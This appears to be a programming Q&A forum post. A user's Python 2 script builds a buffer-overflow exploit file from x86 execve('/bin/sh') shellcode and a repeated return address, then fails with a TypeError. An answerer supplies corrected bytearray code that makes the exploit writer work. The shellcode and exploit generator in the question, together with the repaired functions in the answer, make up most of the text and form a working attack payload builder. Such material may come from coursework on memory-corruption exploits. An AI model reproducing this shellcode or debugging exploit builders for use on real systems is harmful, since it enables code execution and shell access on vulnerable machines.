I have a list of bytes that I want to write as a binary file:
This is what I have:
import struct as st
shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
"\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
"\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
def generateexploitmessage(nops, retaddr):
message = []
for x in xrange(0,128):
message += st.pack(">I",retaddr)
print(message)
for x in xrange(0,len(shellcode)):
message[x] = shellcode[x]
print(message)
print(len(message))
return message
def reversebyteorder(arg):
returnarray = []
for x in xrange(0,len(arg),4):
temparray = bytearray(arg[x:x+4])[::-1]
print temparray
returnarray += temparray
return returnarray
def writebytestofile(message):
f = open("pyexploit.bin",'wb')
print message
f.write(message)
f.close()
def main():
print shellcode
exploit =generateexploitmessage(0,0xbffff614)
readyexploit = reversebyteorder(exploit)
writebytestofile(readyexploit)
if __name__ == '__main__':
main()
The error message I'm getting is the following:
Traceback (most recent call last):
File "generateexploit.py", line 47, in <module>
main()
File "generateexploit.py", line 43, in main
writebytestofile(readyexploit)
File "generateexploit.py", line 35, in writebytestofile
f.write(message)
TypeError: argument 1 must be string or buffer, not list
I understand that I somehow need to convert my list or what I have to a writable format, but I have no idea how. I have tried to put a bytearray(message)
where I write the final message to the file, but that didnt help.
Bot generateexploitmessage()
and reversebyteorder()
produce a list of bytes (integers), not a bytesarray()
. Wrap the result in a bytearray()
again before writing:
f.write(bytearray(message))
Alternatively, stick to producing a bytearray
earlier ; there is no need to use lists here:
def generateexploitmessage(nops, retaddr):
message = bytearray()
for x in xrange(128):
message += st.pack(">I", retaddr)
message[:len(shellcode)] = shellcode
return message
def reversebyteorder(arg):
returnarray = bytearray()
for x in xrange(0, len(arg), 4):
temparray = bytearray(arg[x:x + 4])[::-1]
returnarray += temparray
return returnarray
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